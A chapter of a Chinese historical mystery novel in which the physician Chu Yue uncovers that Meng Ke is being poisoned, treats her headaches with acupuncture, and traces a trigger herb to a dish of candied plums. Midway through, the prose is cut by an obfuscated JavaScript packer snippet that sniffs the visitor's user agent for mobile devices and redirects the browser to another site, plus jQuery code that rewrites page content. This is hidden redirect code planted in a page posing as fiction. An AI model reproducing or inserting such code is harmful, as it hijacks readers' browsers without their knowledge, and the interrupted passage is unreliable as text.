她抬眼望向顾淮昭,声音带着引导:“听到这儿,顾大人就不觉得蹊跷吗?”
“这少城主夫人记忆错乱?”
“没错,我今天借机把过她的脉,是中毒!不过此毒竟能篡改记忆,我确实是第一次见。但同样是损人心智,伤人记忆,应与长公主所中之毒是同源,所以这解药也绝少不了越岭青!”
顾淮昭若有所思的轻叩桌面:“我近日也收到消息,说鸩羽堂的人在雾月城出没。只是没想到真与城主府有牵连…”他眸光一凛,“你可有怀疑对象?”
虽说是怀疑,但楚玥的语气中带着笃定:“我怀疑那位少城主——郑云简!”
“郑云简?”顾淮昭低喃重复。
“若心智完全摧毁,意识彻底模糊,便最终会在昏睡中气息渐绝!这郑云简不惜下毒蒙骗也要强留孟柯在身边,我不信他会看着孟柯死!”
“你的意思是…”
“我的意思是,郑云简绝对知道哪里有越岭青!”
不等顾淮昭反应,楚玥忽然想起什么再次开口:“还有一桩事。我在这雾月城,见到了一位故人。”
“故人?”
她点了点头,“本该死在桐嘉村那场大火里的故人。”
果然,当顾淮昭听到桐嘉村大火几个字时,手指下意识缩紧,面上急切,连追问的语气都加重了几分:“你是说桐嘉村大火还有幸存者?”
“与其说是幸存者,不如说是同谋。”她语气转冷,“悯安公主当年离京平疫时,文奕曾派去一个略通拳脚的婢女随行。按林州呈上的案卷,桐嘉村该是无一人生还才是。但我却在这里看见了那位婢女,不过她已改换名姓。”
顾淮昭倾身向前:“在这?城主府中?天下之大,容貌相像在所难免,你可能确定?”
“相似的容貌可说是巧合,相同的嗓音也可说是巧合。”楚玥一顿,“但她右手腕内侧并列的两颗小痣,位置形状分毫不差。顾大人还觉得是巧合么?”
“那便将她抓了。”顾淮昭作势欲起。
“不可。”楚玥按住他衣袖,“此时拿人只会打草惊蛇。何况,我更想知道,她突然出现在雾月城所图为何。”
顾淮昭重新落座:“听楚姑娘此言,是已有计划?”
“还需顾大人帮忙…”
早膳刚过,芝兰便静立在院中候着。见楚玥推门而出,她上前施礼:“楚姑娘。”
楚玥微微颔首,玉珠此时也跟着从房间出来,立在她身侧。
芝兰垂首道:“少夫人命奴婢来请姑娘往慕柯院一叙。”
穿过回廊时,楚玥状似随意问道:“这等小事,怎劳芝兰姑娘亲自走一趟?”
“奴婢原就是少城主指派贴身伺候少夫人的。”芝兰答得恭谨。
才进慕柯院,便见孟柯提着裙摆快步迎了上来:“楚姑娘,玉珠姑娘!”
二人齐声见礼:“少夫人。”
孟柯亲昵地握住楚玥的手,略带歉意:“昨日云简并非有意怠慢,实在是...”她顿了顿,“到了我服药的时辰。”
“少夫人多虑了。”楚玥浅笑,“原是我们叨扰在先。”
孟柯神色稍缓,引着二人往花厅走去。
楚玥注意到廊下婢女端着空药碗离去,关切道:“少夫人每日都要服药?”
“只是调理身子的汤药。”孟柯眉眼弯弯,“云简总说大婚在即,要我好生将养。”
“原来如此。少城主待少夫人真是体贴入微。”
花厅内茶香袅袅,几人正说着话,一个青衣婢女端着乌木托盘进来,药碗里深褐汤汁微荡。
孟柯接过药碗一饮而尽,苦得眉心紧蹙。另一个粉衣婢女适时呈上青瓷小碟,里头盛着琥珀色的梅子蜜饯。
“这是用雾月城特有的青梅腌的,”孟柯含了一颗蜜饯,眉眼渐舒,“取立秋前最后一批的梅子,以野蜂蜜浸上三月方能入味。楚姑娘和玉珠姑娘也尝尝?”
楚玥拈起一颗放进了嘴里:“青梅多是酸大于甜,而这竟是三分酸七分甜,比京中“甘露斋”的蜜饯还要爽口。”
“能得姑娘这句夸赞,这蜜饯也算有幸了。”孟柯笑吟吟地又递过瓷碟。
几人话题渐渐转到各地吃食上,孟柯说起记忆中不知在何地尝过的银丝面,眼中闪着雀跃的光。
忽然她话音一顿,脸色倏地惨白,指尖死死抵住太阳穴。这次痛楚来得又急又猛,疼痛难忍之下,她竟要抬手击打自己的额头。
一旁的楚玥眼明手快地擒住她扬起的手腕,指尖顺势滑至脉门。
芝兰见状立即上前扶住孟柯颤抖的身子,巧妙地制住了她的挣扎。
“楚姑娘,”芝兰声音带着恰到好处的焦急,“您看少夫人这是怎么了?”
楚玥松开诊脉的手,目光从痛苦蜷缩的孟柯转向神色紧绷的芝兰:“少夫人脉象虚浮,应是连日操劳所致。这两日需静养...”
“楚姑娘可否再仔细诊诊?”芝兰急急打断,“少夫人当真只是劳累?”
闻言,楚玥故作诧异的开口:“芝兰姑娘也懂医理?莫非认为少夫人这病症另有蹊跷?”
芝兰神色一僵,慌忙垂首:“奴婢一个下人哪里懂这些,只是见少夫人痛苦,一时心急说错了话,姑娘莫怪。”
“无妨。”楚玥浅笑,目光掠过芝兰下意识微缩的手,淡淡开口:“也是关心则乱。”
楚玥见孟柯疼得冷汗涔涔,温声道:“我略通针灸之术,若少夫人信得过,可施针暂缓疼痛。”
孟柯强忍痛楚点头:“有劳姑娘...”
楚玥取出随身携带的针灸包,拈起一枚银针。先取百会穴升清降浊,再刺风池穴疏风散邪,最后在合谷穴落针通络止痛。银针轻旋间,孟柯紧蹙的眉尖渐渐舒展。
片刻后楚玥起针,孟柯缓缓睁眼,轻按太阳穴惊喜道:“竟真的不疼了。”
她正要起身行礼,被楚玥轻轻按住,“少夫人不必客气,这两日若再感不适,随时可来寻我。”楚玥话锋微转,“只是不知少夫人平日服用何药?可否让我看看方子?”
孟柯闻言摇头:“具体药材我也不懂。芝兰,你去药房将方子誊来给楚姑娘过目。”
“是。”芝兰垂首应声退下。
楚玥接过芝兰誊抄的药方细看,指尖轻抚过墨迹:“真是妙方。没想到以川芎为君,佐以白芷、天麻相辅,竟能化生出如此精妙的配伍。”
孟柯蹙眉轻叹:“可这药服了许久,头疼仍反复发作...”
“少夫人莫急。”楚玥将药方折好放回案上,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16731969|181547||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头痛最是复杂,药效与个人体质息息相关。若想立竿见影...”她略做沉思,“不妨在服药前后都由我为你各施一次针,取风府、头维诸穴疏通经络,助药力直达病灶。”
“当真?!”孟柯眸中泛起欣喜的涟漪,“那这两日就劳烦楚姑娘了。”
“少夫人客气。”楚玥浅笑,“若实在过意不去,不如将这蜜饯赠我些解馋。”
“这有何难。”孟柯当即吩咐婢女,“去取新的蜜饯来,用锦盒装好送到楚姑娘房中。”
“不必如此周折。”楚玥已自然地端起案上那碟蜜饯递给玉珠,“就这碟便好。”
孟柯还欲说什么,楚玥已施礼告退:“少夫人刚施过针,最宜静养。我们便不多叨扰了。”
孟柯扶着案几想要起身相送,却被楚玥轻轻按回座中。芝兰立在一旁欲言又止,目光掠过玉珠手中那碟蜜饯,终是垂首恭送。
二人回到房中。
玉珠将瓷碟轻轻放在桌上,疑惑道:“姑娘是觉得这蜜饯有异?”
楚玥微微点头,顺手拈起一枚蜜饯放入口中品尝:“这蜜饯酸甜之余,多了一丝清甜。”
闻言,玉珠也拈起一颗放进嘴里,细细品味后说:“听姑娘这么说,好像确实有些。”
楚玥解释道:“这蜜饯里混了“灵汐草”。而且这清甜浮于表面,应是将这灵汐草研磨成汁混入蜜中,然后将腌制好的蜜饯又在这药蜜中滚了几圈,所以才会甜大于酸。"
玉珠点了点头,轻喃重复:“灵汐草...”她语气中带着困惑,“这灵汐草竟能作毒?”
楚玥取出帕子擦了擦手指沾染的糖渍:“它不是毒,但和孟柯服用的汤药里的“赤芍”加在一起,就是催着她体内毒发的猛药了。”
玉珠恍然大悟:“所以刚才孟柯她才会…”随即愤然道,“这郑云简可真不是个东西!”
楚玥摇了摇头:“我倒觉得此事并不是郑云简所为。我虽不知孟柯具体所中何毒,但观其毒发状态,那药方确实能稳住孟柯体内的毒。这才是郑云简想要的——让孟柯好好地跟他完婚。”她顿了顿,神色凝重,“今日这蜜饯下药,仅用一味灵汐草便能破坏药效的同时刺激毒发,看来这下药人应该熟知此毒构成。”
想到这,她抬手示意玉珠凑近,在她耳边快速低语了几句。
玉珠听罢郑重点头:“明白了,我这就去办!”
看着玉珠转身出了房门,楚玥回头将视线落回瓷碟里的蜜饯,“这背后之人终于是忍不住了吗…”
半个时辰后。
玉珠推门而入,低声道:“姑娘,办妥了。”
楚玥颔首:“好,我们这就走。”
二人行至府门,恰遇从外归来的郑云简。
楚玥与玉珠齐齐施礼:“少城主。”
郑云简面上带着温和笑意:“二位这是要往何处去?”
楚玥上前一步:“今日与少夫人叙话时,她突发头痛。我想着去药铺配些宁神的药材,为她做个安神香囊。”
“小柯她...”郑云简神色骤变,语气急切,旋即强自镇定,“楚姑娘费心了。”
“少城主不必客气。”楚玥眸光微动,“您还是先去探望少夫人为好。今日她疼痛发作的模样,实在令人担忧...”